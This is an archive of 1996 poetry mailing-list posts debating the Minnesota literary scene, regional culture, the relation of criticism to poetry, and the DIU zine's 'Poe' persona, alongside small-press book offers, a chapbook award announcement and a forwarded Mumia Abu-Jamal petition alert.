This is to reply to my good friend Charles Alexander and to Maria Damon who point out the cultural vapidity of Minnesota's Twin Cities, discussing, among other things, an absurd poetry reading at the Mall of America. I sympathize with their need to vent, but great things are happening here. A couple months ago Mark Nowak-who is in the process of getting a new mag, "Cross-Cultural Poetics," off the ground--organized a conference for micro presses. The Twin Cities' major small presses --Milkweed, Coffee House, New Rivers-- did not show up. But about thirty of us did. There is a wonderful new magazine called Disilluisioned Guillotine -- don't know address-- another by the name of Tinfish and a few that escape me. The journal Rag Mag continues to publish beat style writing after twenty years strong years. A few miles up north in Morris is Jonathan Brannen ([redacted]) who runs a fantastic chapbook series entitled Standing Stones. I was informally associated with LEAVE books of Buffalo in its infancy, and Brannen's project is every bit as good. The books are well produced and carefully chosen. In addition, Gary Sullivan's fine Detour Press just came out with a stupendous book of experimental stories entitled Star Fiction by Minneapolis writer Eric Berglund (sp?), who is also starting an audio press that is soon to release Steve McCaffery's Panopticon on audio cassette. Plus Poetic Briefs, Charles' very own Chax, Maria Damon's fine book of criticism on "outsider" poetries etc.

Yes, the Mall of America scene is a joke from our perspective. (Although I do agree with those who say, "What's the harm?") But we have so much good coming out of here. Could an innovative poetry scene be waiting to happen in the midst of Bly territory? I think so. All we need are a consistent reading series (which Nowak is starting to supply) and some organized energy.

Happy in the so-called hinterlands,

Jeff Hansen

↑ Index

273. **Maria Damon**
Re: Minnesota
Thu 11 Apr 1996

---

jeff hansen --i agree that exciting things are starting to happen. ask gary sullivan how he feels about mn. ask chax. ask mark nowak. they're all transplants, and they have worked hard for several years, getting discouraged, etc. Now it looks like something real might start to happen, cuz there's a critical mass of "us." i personally have no problem w/ some of the populist lit scene in MN. sase is okay, and the loft, tho' it fairly drips w/ righteous whitebread piety, has potential (tho they've always given me the cold shoulder when i've tried to network.) i'm not crazy 'bout the Mall, but have no trouble, in principle, w/ the idea of a populist, multicultural (which in fact in mn is often an oxymoron) lit scene, as must be obvious from my posts and my tastes. but for me, in an ironclad, tradition-bound university english department, i never knew about the alternative lit scene here until charles bernstein put me on the poetix list. i met nowak cuz he reviewed my book for "skyway news", a business community rag, and called me up. part of the problem is that, being affiliated w/ the U, i've been shunned, until recently, by the locals who perceive the U as "elitist" (would that it were more so); at the same time, i definitely don't fit in to the university's --and esp. my dept's --intellectual conservatism. and most important, even when and if a strong alternative lit scene devleops, i just don't fit in to the midwest. sorry. i guess it;s me. i LIKE to hear different languages when i walk down the street. I LIKE seeing people confront each other over parking spaces --not violently, but with colorful invective. I LIKE being able to say "acquisitive" instead of "grabby" when I feel like it, and not have eyebrows raised and a subtle ostracism take people away from me. i'm not exclusively a "high culture" type person, so it's not that there aren't chamber orchestras --there are plenty of those. i think you get the picture. but i must say, i'm heartened by developments in my absense, both in the local scene and in my dept. Now as long as the Univ doesn't abolish tenure, as it would like to...and as long as we import an

ocean, and about half a million more new yorkers and californians, i'll be ahppy as a clam. actually, i adore my apartment. maria d

↑ Index

274. **Maria Damon**
Re: this week in poetry ny addendum
Thu 11 Apr 1996

---

jordan, no , not onto a piece of paper, but that too, into a paper. ie i further defiled its flat whiteness by writing about flat whiteness.--md

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275. **Joe Amato**
regional differences...
Thu 11 Apr 1996

---

well you can argue where's best to be till (again) the cows come home (again, whether in upstate ny, minnesota, or---)

i'm from syracuse (ny) originally, or more precisely, the liverpool suburb (though my dad was born & raised in the city)... and after 29 years in a row in that city, whatever fondness i have for it will not, methinks, induce me to return... that fucking climate'll drive you NUTS... i'm sure in fact it affects one's mind (ergo, moi)... but in any case, i hail from there and feel somewhat entitled to pass judgment so (and after all, many of my buds stayed)... and yknow, i *know* what the best aspects of the place tend to be... and feel quite safe in characterizing the surrounding rural region as tres redneck (and tres repub)... and the area itself, up till about a decade back, as revealing a very much blue-collar working class base (which my folks were)... though there are signs of wanting (and having) to change these days...

but of course there's nice folks out in the sticks, too (having worked for over four years in fulton ny, to the north mebbe 25 miles), and in fact my suburban upbringing was a quasi-rural upbringing, at least by *chicago* suburb standards...

so there's a rural/urban/suburban thang goin on here...

i detest the racial segregration and economic disparities here in chicago... and i generally attribute a midwestern, even southern complacency to the---well, what strikes me as the complacency re same... albeit chicago has no special status when it comes to poverty or racism... still, for me, the midwest is quiet when i'm noisy, and noisy when i want it to be quiet... quietly macho, sorta... so neither chicago nor champaign-urbana cuts it for me... though at least i could see the stars in the evening sky in central illinois... but the lack of hills---

what i'm struggling for here is a sense that regional differences are so complex, and so bound up with what we, each of us, know (by which i don't mean knowledge per se)... idaho, where my wife kass fleisher taught for two years, is absolutely goddamn beautiful... but the mormon presence there is a problem---for us... which is not to say there're no nice mormons... only that the degree of saturation of same, in conjunction with what kass likes to call 'the unbearable whiteness of being,' will drive you NUTS (i'm presuming on y'all, i know---so those of you in the intermountain west, please feel free to rush to its defense... but none a you 'salt city' folks---that's *syracuse's* nickname---oughtta try arguing with me bout *that* place, or----)

i'm sure there're healthy things goin on in the state of minnesota, as there are in the state of idaho... and that white supremacist groups are making more headway, according to npr (according to ?), in pennsylvania than anywhere else in the states oughtta teach us "easterners" a thing or two about pointing (if not goin) west...

personally, i prefer a smaller urban environs, nice country, HILLS fer chrissakes etc... where was it i read that most americans would like their front yards to open to a busy city street, and their backyards to open to an alpine meadow?... or some such... but already this is a class-based, property-owing assertion...

here's to the best of all worlds, g'luck in finding same///

joe

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276. Steve Carll
Re: contrasimilacrum
Thu 11 Apr 1996

"Philosophy finds itself, *rediscovers* itself, in the vicinity of the poetic, indeed of literature. It finds itself there, for the indecision of the limit is perhaps what most provokes it to thought. It finds itself there, it does not necessarily lose itself there as those who believe, in their tranquil credulity, who believe that they know where this limit is situated and timorously keep within it, ingenuously, although without innocence, stripped of what one must call the *philosophical experience*: a certain questioning crossing of limits, unsureness as to the border of the philosophical field--and above all the *experience of language*, an experience always as poetic, or literary, as it is philosophical."

--Jacques Derrida, *Shibboleth For Paul Celan*

When a poem traces a thought that arises and finds its source in the work of another poet, no one seems to have a problem when the creative process causes a

move away from the source material off on a tangent that has to do with what we might call the poet's "poetic lens". Why then is there such offense taken when a work of criticism does the same thing due to the writer's "critical lens", assuming of course (and perhaps hastily on my part) that one agrees with Derrida that the experience of language is equally poetic and philosophical?

Steve

At 01:03 PM 4/10/96 -0500, Meaghan wrote:
>On Sat, 6 Apr 1996, David Baratier wrote:
>
>> Been off line for a bit, so ...
>>
>> As far as reading a poem or poet due to a book of criticism
>> That's nice. Albiet rare. It's been my experience
>> that recent criticism includes such a sparsity of quotes,
>> such a poverty of experience to rely upon, only the barest minimum
>> necessary to validate the particular critical lens.
>> That has become the net value of poetry for most critics.
>>
>> I find a few mentions of a text hardly enough to pick it up, rather
>> it's comparisons, mentions of the subject material, and the passion of
>> another reader that lend my eye to any book's pages.
>> Unfortunately the binary dicotomy of much of the criticism hinges on
>> one strand:
>>
>> You either create the work or insult it.
>>
>David,
>
>I really think it's too bad that criticism takes that turn, the turn
>where it's getting too far away from the work considered, becomes too
>self-referential or self-conscious of it's frame/lens/whatever. Now, I
>realize that my phrase "too far away" is disgustingly vague, but I think
>that criticism, like poetry or fiction or visual arts, goes through
>periods or phases. I think that our current phase is one in which
>criticism is looking more to philosophy than to poetry. I think that's
>one source of the tension. The other, as Hank Lazer pointed out to me,
>is academic -- in lots of schools CW and English are seperate departments
>and they have to compete for funds, thus they bash each other. But this
>gets bigger, I think that the culture of academe is one that operates
>through contention, competition and general nastiness because as a
>collective "we" don't seem to want imagine another "form of life" for

>ourselves. And unfortunately, if you really think that one "either
>creates work or insults it" then I suspect that there's too much poorly
>rendered and poorly thought-out criticism. But there's a whole lot of
>really bad poetry too. As far as I'm concerned, and I used to argue hard
>with my grad-student-would-be-critic-non-poet friends, poetry and
>criticism and philosophy and art and the "world" are all interdependent
>at some level and feed each other over time. It may just be a matter of
>personal temperament -- I tend to think that all tensions that share this
>sort of "academic structure" and that therefore handicap productive,
>fresh, interesting thought and practice are really very "MLA" in the
>sense of being showy, distracting, and superficial. I'm indicting
>persons here, so please don't read me that way, I'm indiciting the
>practice of empty animosity.
>
>Should I stop repeating myself?
>
>Meaghan
>
>

↑ Index

277. Steve Carll

Tennis With/out A Net, Anyone?

Thu 11 Apr 1996

Chris:

The question of hierarchies can of course be linked to questions of taste. The more firmly we hold onto taste and prevent it from changing, the more closely related to hierarchy it is. Acknowledging that our taste changes--that, to the extent all of us have to "dwell in possibility", different phenomena "out in the world" resonate differently with our ever-changing moods (to paraphrase a great Style Council song) at different times (a process which is NOT ARBITRARY)--is I think an important step in, maybe not forever dismantling an aesthetic hierarchy (maybe that would be too optimistic), but maybe creating a kind of hierarchy which is itself more organic, in which any given phenomenon really does have a chance to command our attention and be allowed to resonate for a time and leave whatever residue we allow to accumulate. I fully agree with you about democracy really being about what has moved "us"--but how big that "us" is is the historical failure of democracy (it hasn't ever really gotten big enough, right now in USA it's growing smaller every hour). What moves "us" straight white American males may be kind of interesting anthropologically, but that means that what's really crucial is what moves "us" human beings, of

which straight white males are only a local subset to be invoked for descriptive purposes only.

Steve

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278. **Steve Carll**
Re: seven tapes of ambiguity
Thu 11 Apr 1996

At 09:53 AM 4/10/96 -0500, you wrote:
>what screws up ambiguity
>(for instance the song Steve's quoting in his subject line
>sounds really great until you figure out it's about tennis..)
>is how quickly it slides into ordinary meaning
>or you don't go back and reread where's waldo
>--Jordn

I still think that song sounds great. But this is something to think about. But lots of kids reread Where's Waldo, don't they? And isn't it because they forget where Waldo was?

Which makes me realize that there's some ambiguities that slide into EXTRAordinary meaning. Like the line in REM's "Harborcoat": "They shifted the statues for harboring ghosts", or Celan's:

THE TRUMPET PART
deep in the glowing
lacuna
at lamp height
in the time hole:

listen your way in
with your mouth.

Steve

↑ Index

279. **Maria Damon**
Re: Minnesota
Thu 11 Apr 1996

---

chris s, i will be returning to the pure flat whiteness, can i get a witness. in early july. i've been there 7 years, so these are not superficial impressions of a tourist. bests, maria d

↑ Index

280. Jordan Davis
flat night
Thu 11 Apr 1996

Okay then!
(I was afraid you were going French, or Elizabeth Bishop or something)
--Jd

↑ Index

281. Loss Glazier
Re: DIU release
Thu 11 Apr 1996

For those who are interested, these items are at the EPC:

the DIU issue is located at:
http://writing.upenn.edu/epc/ezines/diu/diu34

Mark Wallace's essay is at:
http://writing.upenn.edu/epc/authors/wallace

--Loss Note: Maria, DIU is now mailed via a listserv and you can subscribe. (Though it's always instantly (or nearly instantly) available on the EPC) Info is at: http://writing.upenn.edu/epc/ezines/diu/diulist.html

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282. Keith Tuma
Re: regional differences...
Thu 11 Apr 1996

Well Joe says

"Well you can argue where's best to be till (again) the cows come home. . ."

which reminded me that an Irish friend told me recently that these days the Irish are making a killing selling THEIR beef. . . .

renga assignment, advanced poetry workshop: begin "Irish beef is better beef"

and on another note, Amiri Baraka once looked sideways at me and said--don't know if it was his--"Cynicism's the playground of the middle class."

setting sail for lurkerdom,
kt

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283. Steve Carll
Re: Culture with a "Q"
Thu 11 Apr 1996

Charles Alexander writes:

> *It's more the gigantic poetry kit & the karaoke which I find somewhat overboard in terms of making poetry into a pop culture item (and I like quite a lot of pop culture). I would probably prefer the karaoke Beatles which you found unpalatable.*

Oh, I don't know...they had one at the Seattle Art Museum when I visited recently to see the *In The American Grain* exhibit (featuring Georgia O'Keefe, Alfred Steiglitz, Marsden Hartley, and other members of their circle whose names escape me but whose art was just as, if not occasionally more, fascinating), and John Olson and I had a great time rearranging the words, although we were frustrated by the dearth of "weird" words (lozenge, aporia, cranny, you get the idea) and were tempted to go create our own and sneak them back in someday.

Steve

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284. FUNKHOUSER CHRISTOPH
DIU piece
Thu 11 Apr 1996

Mark, Really, there is little subtlety in the recent imaginary universe (broadcast). Definitely Nothing_personal_against you, though. To suspend (as opposed to enacting) self-reflexive scrutiny of ourselves and our texts is proper, or something? What sort of decorum does this "avant garde" require anyway? Is it possible your "woof" might need (or at least make use of) "our" warp (in cookieland)? But, what I really want to know is, What makes you think you aren't already locked in a room forever with the author of the diu piece? 2ndly, Joe: diu, the ahp, Edgar Allen Poe--I'm not sure this stuff emanates from cynicism. Poe isn't writing satire, but literary criticism (read it as exaggeration if that makes y'all feel better, but it ain't). & he's not cynical, but gothic. "He"'s afraid of being buried alive, & wants to make sure the coffin is in the ground while he himself stands in the sunlight! All for now. Out here learning & listening so "fire away" (aye! Pat Benatar finally makes it to POETICS), Chris

↑ Index

285. Curt Anderson
Re: Minnesota
Thu 11 Apr 1996

As a fellow transplant to Minnesota, I think I should probably put my two cents in. I agree with the accessment that, although Minnesota is a pretty pale light in the cultural sense, it really isn't much different than anywhere else. As a native San Franciscan, I moved away partly to get away from the incessent provincialism, the "aren't we the greatest" attitude. There's lots of room for improvement, no doubt, everywhere. Maybe the difference is that in a city like New York or San Francisco you can find enough like-minded people to buffer you from the bozos.

As for inquiries about Gary Sullivan, he's off-line and apparently readjusted to reality. There is talk of moving back to SF in the fall. I think some of you (Charles and Jeffrey) do his partner Marta Deike a disservice by neglecting to note that both she and Gary do Detour Press, which I have been loosely associated with as the editor of a little newsletter called Exile. Finally, as someone who came out here expecting to find an experimental writing or quartblatz community and instead found a roaring silence, I think the really interesting discovery is that community may not have as much to do with geography as technology -- this thing here.

Sadly in St. Paul,

Curt Anderson (that's John Smith in Swedish)
Curt Anderson
[redacted]

↑ Index

286. Charles Alexander
Re: Minnesota
Thu 11 Apr 1996

> *...and as long*
> *as we import an ocean, and about half a million more new yorkers and californians, i'll be ahppy as a clam. actually, i adore my apartment.*
> *maria d*

and may I request some mountains and some desert.

sorry, i know i ask for the moon

but some things one just needs . . .

↑ Index

287. **Aldon L. Nielsen**
Re: Nappy Hational Poetry Month
Thu 11 Apr 1996

Does anybody on this list live in or near Boulder, Colordo? Will be spending some considerable time there late Summer thru Fall, & need some advice -- Haven't been there since 1963!

& that Steel Pulse album, by the way, is a killer -- Listen to TRUE DEMOCRACY -- one of their best

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288. **Eryque Gleason**
Re: Jewish Encyclopedia
Fri 12 Apr 1996

> *so, i'm "doing" ginsberg.*

but maria, i heard he prefers men!

eryque

↑ Index

289. **Chris Stroffolino**
Re: Minnesota
Fri 12 Apr 1996

Maria---I was not accusing you of superficial impressions of a tourist... In fact, the way you describe Minnesota sounds quite a bit like Albany. I wish the big city colleges weren't so damn uptight, but, alas.... cs

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290. **Chris Stroffolino**
Re: Tennis With/out A Net, Anyone?
Fri 12 Apr 1996

Dear Steve---
So, white straight male #1 is more like white straight male #2 than
either of them are to black bi female #1.....
the implication that black can not MOVE (or COMMAND the attention)
of white...is that what you're saying? Chris

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291. William R Howe
Re: Minnesota
Fri 12 Apr 1996

jeff the question in some respects is not nec weather there is a possibility for an avant whatsit in oh vader a tive poetics to congeal underneath the bly blindness but rather within the context convexness of middle amtrak hinter lands it is possible to perform any transfiguration of culture whatsoever i recently was asked to read in my home town of lubbock tx (which in itself was rather wierd) and was amazed by the interest i was shown in my oddness but i am not at all convinced that poetry for the mass micky-d mall kulturni allows us (as eno elevators) any kind of voice what hinterlanders see are the blynders and not the <<underground>> if only because of their true faith in the market and what the mall represents (arrival) do you look behind the toilet in a rfast food feeding traugh to see if it is clean

↑ Index

292. Gabrielle Welford
(Fwd) Mumia alert (fwd)
Fri 12 Apr 1996

>I just got a call from Dr. Mark McClain Taylor, founding member of Academics for Mumia Abu-Jamal. He is in Harrisburg with hundreds of supporters of Mumia Abu-Jamal, including foreign dignitaries from France and other countries. They are attempting to deliver a petition with 60,000 signatures, collected from France to Governor Ridge.

>THE GOVERNOR'S OFFICE REFUSES TO ACCEPT THE PETITIONS ... Only sending
out security personnel. Meanwhile, the foreign dignitaries and other Mumia supporters are holding their ground and refuse to leave.

>The situation is very tense and an international incident is in the making. Please forward this message as far and wide as possible. Please forward it to news sources and to as many distribution lists as possible. Please also, call/fax Governor Ridge's office and demand that the petition be accepted.

> *Voice:* [redacted] *Fax* [redacted]

>This is a public service announcement, courtesy of Bob Witanek, moderator of [redacted] , [redacted] and one of the
coordinators of 1000 VOICES AGAINST THE NJ DEATH PENALTY April 20 march

and rally at NJ State Prison for the NJ Coalition to Abolish the Death Penalty. > >Bob Witanek

------end----------

---------- In protest of the censorship of the Internet by the United States Government I am including the words "fuck you" in my .sig file and will include the words "fuck you" in all my letters and articles on the Internet. For more information see the Electronic Frontier Foundation's web page at http:\\www.eff.org\.

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293. **Henry Gould**
Re: Culture with a "Q"
Fri 12 Apr 1996

On Thu, 11 Apr 1996 16:04:14 -0400 Maria Damon said:
>hell, and people want to expend the minimum energy on "superfluities" like
>enjoyment, expressiveness, shallow things like "lifestyle," etc. but after
>having worked very hard in california to increase my tolerance for pleasure,
>self-expression, belief in my capabilities, etc., I experienced mn as cruel.

I'm sorry I was cruel in my response. I guess I was having a bad day & it brought out the snarl. Some of the things you said sounded like things I'd heard (a lot) before, and what seemed your cliches collided with my nostalgia. It's amazing how diverse perceptions can be. I live in RI, whose economy is much more scrawny & austere than MN, despite the beaches & all. When I go back to MN, it seems like a place where people understand "the good life" - and the problem is not austerity & cruelty but complacency & caution. It's not that they don't like pleasure & expression - it's that they're idea of these things is maybe different from yours? Pleasure & expression are all "up at the lake." I hope you'll accept my apologies for the shrill loon honk. - H. Gould

↑ Index

294. **Henry Gould**
Re: DIU piece
Fri 12 Apr 1996

On Thu, 11 Apr 1996 21:01:21 -0400 FUNKHOUSER CHRISTOPH said:
> 2ndly, Joe: diu, the ahp, Edgar Allen Poe--I'm not sure this stuff
> emanates from cynicism. Poe isn't writing satire, but literary criticism
> (read it as exaggeration if that makes y'all feel better, but it ain't).

One motive for the Poe disguise might be to protect Poe's freedom to be as impartial and objective as possible in a very small poetry village. In a way it's kind

of a power play, but s/he plays a good act! (though sometimes a bit picayune(did I spell that right?) & petty. But the whole idea of Poe's ghost setting sepulchral standards for "verse" in 1996 is great. - H. Gould

↑ Index

295. **Joe Amato**
Re: DIU piece
Fri 12 Apr 1996

---

chris, it's not quite fair for me simply to slam diu w/o giving some indication that i like it, of what i like... i *do* like the odd blend of extracts from hither & thither, the music pics, the idea that it's being distributed for free to so many folks... it's a provocative zine, in part b/c it doesn't appear to be taking one side...

but what i find mself resisting is perhaps most evident in the poe pieces... they're not quite 'gothic,' not least b/c that term can't simply be appropriated from some past presumed moment and set down in mid-90s american electronic culture w/o some interesting if not altogether successful deformations... which is evident in all modern and contemporary attempts at 'gothic' work (southern, american, etc)... i mean, what sort of 'gothic' do we have *here*?...

for one, the poe pieces seem to be distinctively male, or at least male-identified... yeah, poe's a male, but this isn't quite what i mean... what i mean is that by conducting critical scrutiny through an---well, let's say an 1850 stylistic lens, one of the first things to go out the window is the sense that there's been a transformation in women's roles... however clever or self-modulated, poe passes judgment with an incredibly omniscient 'voice,' with little concern for otherness... such wit, for example, generally doesn't compensate for race considerations, at least not as we are accustomed to seeing same displayed... which is where the remarks poe makes as to physical (un)attractiveness leave me feeling uncomfortable... which seems, at least, to seep over (in tone?---not quite sure) into the various "taste"-driven evaluations of a given poet's work...

in other words, i get this feeling that poe is a device/persona that effects, in addition to some perceptive critique, a reintroduction of some of the less savory aspects of 19th discourse into the current scene, w/o always taking responsibility for the resulting complications... "but this is poe, he's gothic" etc. strike me as a---well, to borrow from past parlance, chris, as a bit of a cop-out... and i know you well enuf to know this isn't what you intend...

this is too too harsh, chris... i know it takes a lot of effort to put together and distribute diu... wish i could find a nicer way of putting things---my apologies, and i hope again i'm not sounding like a stuffy bastard in posting this... after all, i'm not being very precise here mself, only giving you my residual impressions

of a number of diu's---at a distance, as it were... so let's say, as i said before, and if you'll permit me the conceit, that this is meant to help make diu a better zine...

one more thought: if you and i had to dance through any additional personae to understand each other here---you playing 'poe' and me my erstwhile 'tomato'---we'd probably find it that much more difficult to reach any sort of understanding... and this latter is necessary methinks when dealing with public remarks that can *hurt*, regardless one's sense of humor...

thanx for listening...

all best//

joe

↑ Index

296. **Henry Gould**
Re: poetr cit boo offe
Fri 12 Apr 1996

On Fri, 12 Apr 1996 10:55:45 -0500 Jordan Davis said:
>Remember, it's National Poetry Month. You're supposed to buy some books
>that you've actually wanted to read.

It's national poetry month, but only one person on this list of supposed poets, publishers, & po-promoters has come through after my request for book or mag donations to the Poetry Mission's new resource center on the Cranston-Prov RI line. And thanks to Schurin for reminding me that's Ted Berrigan's native home - I'm leaning toward voting for "Things to Do" as the name of the joint (after his poem "Things to Do in Providence").

So here's to Tim Wood for the generous donation, may I return the favor someday. And to the rest of you "poets" out there, well, perhaps it's my own abrasive motormouth fault - but it's not too late to send us that old obscure journal duplicate or extra book sitting around. We will be very grateful. The assistant librarian at Hall (where the center's located) just contributed a gorgeous enclosed bookcase to hold the mags - you can add to it. Send to: The Poetry Mission, PO Box 2321, Prov RI 02906. Hope you can all come & read/perform/listen/visit someday. - Henry Gould

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297. David Baratier
contrasimilitude
Fri 12 Apr 1996

While philosphy may "rediscover itself in the vicinity of the poetic" what we are talking about here is how folks such as Derrida perform the negative critical work of demystification instead of offering a positive model where assimilation (or some aspect thereof) can be located in culturally perserved forms of idealization. I'm talking about some form of a critique where a dialectic between demystification and idealization emerges, one where the critic allows the audience to understand what passion was found by one person within the impact of the words and the words themselves.

Take the passage quoted from Derrida for example. Presently, there is no language in his lungs which has caused me to start being attentive to Celan. Similar to the rest of the book Celan is hardly mentioned or should I say: Celan is a prop, an artifice, a screen for Derrida to freely espouse on philosophy.

Why then is there such offense taken when a work of criticism does the same thing due to the writer's "critical lens...?

Because it assumes the retardation of the writer's thinking process and does so through a false appropriation or under a faux banner of support for a text which they refuse to write about. The creative writer isn't as smart, is less than the profound philosopher, is not blessed with the intellect of destruction apparent in the embedded criticism of furthering oneself.

The overthrow of the current foundational metaphor for criticism is not accepting the experience of language as constrained, as equally poetic and philosophical.

David Baratier

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298. David Baratier
poetics briefs
Fri 12 Apr 1996

Hey Jefferson: Could you send an issue.

David Baratier
716 Pine Street
Philadelphia, PA 19106

Haven't seen one since doing the article. I think the O-books of Notely arrived recently if you want something on that. Hope things are well there, we

might be moving to chicago the end of august. The largest mall in the USA is just outside of Philadelphia, sans roller-coaster, called the King of Prussia Mall. The just added about five or ten ft of space so they could advertise it as such. Be well.

↑ Index

299. Jordan Davis
poetr cit boo offe
Fri 12 Apr 1996

BOOKS BOOKS BOOKS BOOKS

The Prose of Lewis Warsh: _Agnes & Sally_ and _A Free Man_ through Poetry City for just $15 ppd. _Agnes & Sally_ drew the famous "Mr. Warsh should be our next president" blurb from Mr. Creeley; _A Free Man_ is stoked with Warsh's trademark wit, drama, and sympathy. Send an email message with your name and address to [redacted], and I'll bill you. If you respond today, I'll add _Avenue of Escape_, Warsh's most recent book of poems, for another five bucks. That's midnight by the stamp on your email message.

The Maria Damon/Walter Lew offer is still good for a few more weeks, kids, _The Dark End Of The Street_ and _Premonitions: the Kaya Anthology of New Asian North American Poetry_ for just $30 ppd.

Alas, the 10 book Ron Silliman offer has elapsed. We have a very limited four book deal--_Tjanting_, _Xing_, _Jones_ and _What_--for $25 ppd.

Remember, it's National Poetry Month. You're supposed to buy some books that you've actually wanted to read.

-Jordan Davis

↑ Index

300. Jordan Davis
not not jote
Fri 12 Apr 1996

Notley.
N=O=T=L=E=Y.
(Not, not note).

↑ Index

301. **David Baratier**

Permutations of the gallery

Fri 12 Apr 1996

Pavement Saw Press
proudly announces the winner of our 1995-1996 chapbook award:

Permutations of the Gallery
by Joshua McKinney

Poems from this collection first appeared in publications such as the Columbia Poetry Review, Denver Quarterly, Situation, Santa Barbara Review, and Willow Springs.

Publication, a prize of five hundred dollars and ten percent of the book run are awarded to the winner of the annual prize. *Permutations of the Gallery* was selected by Naton Leslie as the 1996 winner of the Pavement Saw Poetry Chapbook Award.

About the book:

Permutations of the Gallery is an ambitious collection, even if recklessly so. Joshua McKinney's poems struggle against the confines of syntax and literal sense, in order to arrive at a uniquely clear grasp of the truces we must maintain with time and spacial existence. To attempt to paraphrase these knotty and paradoxical poems would be akin to stating that Wallace Stevens wrote about the weather. Don't search for narrative threads here, poems about Queen Anne's Lace or cicadas, or paeans for our humdrum, domestic lives. And don't expect to read this book once. Naton Leslie

Joshua McKinney knows that philosophy is not an abstract matter, nor in anyway separate from our everyday lives. His poems show that to engage the world intimately, we need to _think_ it in the most particular ways. In *Permutations of the Gallery* family friends, nature, and a troubling social world are not givens, but rather questions by which we explore the twisting, disruptive, estatic, sometimes even annihilating terms of our existence.

Mark Wallace

A poetry held taut, that revels in economy and clarity, is filled with insights and syntactical compassion. I highly recommend *Permutations of the Gallery*. Simon Perchik

Published in a limited edition of 250 copies,
perfect bound, 6 by 9 size

Availiable April 17th. Price $5.00, includes p&h.
Checks payable to:

Pavement Saw Press
7 James Street
Scotia, NY 12302

Thanks

[redacted]

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302. **Maria Damon**
Re: Jewish Encyclopedia
Fri 12 Apr 1996

---

bi eryk of the north writes:

> *so, i'm "doing" ginsberg.*

but maria, i heard he prefers men!

yes and i hear he would have preferred to be written up in the J encyc. by some man in montreal. but the editors ran the options by r kostelanetz (who died and made him God?) and he "okayed" me, tho he'd written me a sharp note when my book came out, didn't like the way i referred to his take on "avant garde", felt i misrepresented him as a meritocratic aesthete. or something. if you're out there, rk, greetings. glad to have passed muster on ginsberg, having fun w/ it.--md

↑ Index

303. **David Baratier**
Re: contrasimilacrum
Fri 12 Apr 1996

---

maria

I never found a shift, the one you found between working on the renga and writing criticism. Granted a large portion of the reasoning behind this may be the fact that my fiscal livelihood does not depend on publication, therfore the writing is an unpressured situation, a favor for someone if you will.

David Baratier

↑ Index

304. Chris Stroffolino
Re: contrasimilacrum
Fri 12 Apr 1996

Well, David---Your "smiling author" has found the same shift Maria spoke of, and at times it's maddening, at other times it's a great fall back strategy of roatating crops since "after all it isn't every day the world arranges itself into a poem" (as Stevens said)...cs... (hey, good luck in chicago---with hoover gone, the town is in dire need of you....as is phila., but oh well one less incentive to want to move there.....

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305. Robert Drake
Re: DIU piece
Fri 12 Apr 1996

> *for one, the poe pieces seem to be distinctively male, or at least male-identified... yeah, poe's a male, but this isn't quite what i mean... what i mean is that by conducting critical scrutiny through an---well, let's say an 1850 stylistic lens, one of the first things to go out the window is the sense that there's been a transformation in women's roles... however clever or self-modulated, poe passes judgment with an incredibly omniscient 'voice,' with little concern for other-ness... such wit, for example, generally doesn't compensate for race considerations, at least not as we are accustomed to seeing same displayed... which is where the remarks poe makes as to physical (un)attractiveness leave me feeling uncomfortable... which seems, at least, to seep over (in tone?---not quite sure) into the various "taste"-driven evaluations of a given poet's work...*
>
> *in other words, i get this feeling that poe is a device/persona that effects, in addition to some perceptive critique, a reintroduction of some of the less savory aspects of 19th discourse into the current scene, w/o always taking responsibility for the resulting complications... "but this is poe, he's gothic" etc. strike me as a---well, to borrow from past parlance, chris, as a bit of a cop-out... and i know you well enuf to know this isn't what you intend...*

joe, one of th valuable points the poe pieces/persona makes (to me) is exactly how little has changed re womens roles, dominant discourse style, etc... i'm pessimistic that those qualities are "reintroduced" by the posts into the dialoge, rather that they continue & poe's satire points that out... always the difference between re-presenting a stance and advocating it... which line, in diu generally, i believe is straddled, transited & transgressed in ways i find useful, as (self)critique & gentle poking fun...

sincere
lbd

↑ Index

306. William M. Northcutt
That wot rules:
Fri 12 Apr 1996

That whut rules:

Silliman's Xing
What
Toner
abc etc

Taj Mahal's Phantom Blues

Page 214 of Peter Hoeg's Miss Smilla's Feeling for Snow (flamingo edition)

Willie Walsh's unpublished dissertation: Loose Talk

The suspected Unabomber's hair

That which inspired the laughter on "And Your Bird Can Sing" Beatles Anthology 2

end of message:
Chicken-House Willie's minimalist school of literary theory and poetrythathelenvendlercantread

↑ Index

307. Kevin Killian
Minneapolis
Fri 12 Apr 1996

This is Dodie. I wish I'd been able to read more of the Minneapolis discussion here, but most of the messages were deleted before I got to them. However, I did read Maria Damon's valient defense of her criticisms of Minneapolis and the Midwest.

Last weekend I had a Minneapolis experience. There was an Eckankar seminar here in San Francisco, and since I wrote a cover story on them a year and a half ago or so, and the seminar was only 7 blocks from my house, I went to the Friday night session. Eckankar used to be located out here in Menlo Park, but sometime in the past ten years moved to Chanhausen, which, reading between the lines, I'm assuming is a suburb of Minneapolis. In other words, according

to this group, Minneapolis is the spiritual center of the physical world. And some of you are griping about it there!

Anyway, since cult members tend to mimic their leaders, and since the head guy is as Midwestern conservative as you can get (for instance, people on welfare are "undeveloped souls" who eventually will have to pay bigtime for what they're taking but haven't earned), the seminar was like having a chunk of the midwest lifted out whole and plopped down in the basement of the Marriot--affect, styles, values. One woman in a dayglo blue business suit got up there and told this elaborate story about the spiritual lessons she learned from slipping on the ice. Detail after detail of Minneapolis life was served up and fetishized. It was awesome.

Since all this was happening in San Francisco, there were, of course, comparisons between California and Minneapolis--basically California has great weather, but Minneapolis is Real Life. I think that this categorization is something I've internalized myself, especially since I'm now working as an arts administrator--sometimes, especially during PMS, I question my lack of connection to Real Life--like I don't know anybody who isn't a writer, visual artist, or a dreaded arts administrator. Saturday night I got together with my ex-husband, who is a member of this cult, used to live in Minneapolis and loved it, and who definitely has a Real Life. Since he's Spiritual he never complains about anything, but I was moved to tears by how horrid his Real Life was. He's a regular working class guy struggling to survive. I ran home to Kevin determined to remain a spoiled princess forever.

Since I'm from the midwest I'm always trying to resolve something about it. I know I would never in a million years developed as a writer if I stayed there--and it wasn't like I was living in the middle of nowhere--I was in Chicago before I came here. But I can't tell if it would be workable for me now. My experience of the midwest is that of a working class person--I have no idea what middle class people's lives are like in the midwest, just as I have little idea what working class people's lives are like in California. When I was first getting involved in the Bay area writing scene a mentor told me that writing was a middle class occupation (Marxism was still very much part of the Talk back then), and I was really resistant to this idea, but now I'm pretty much convinced it's true. I think that my development as a writer was just a contingent upon leaving my class as leaving the midwest. Sometimes I feel like an immigrant, sometimes I feel like an expatriot. But there's always this aura of living outside. The midwest is seen as this lost Eden of inside.

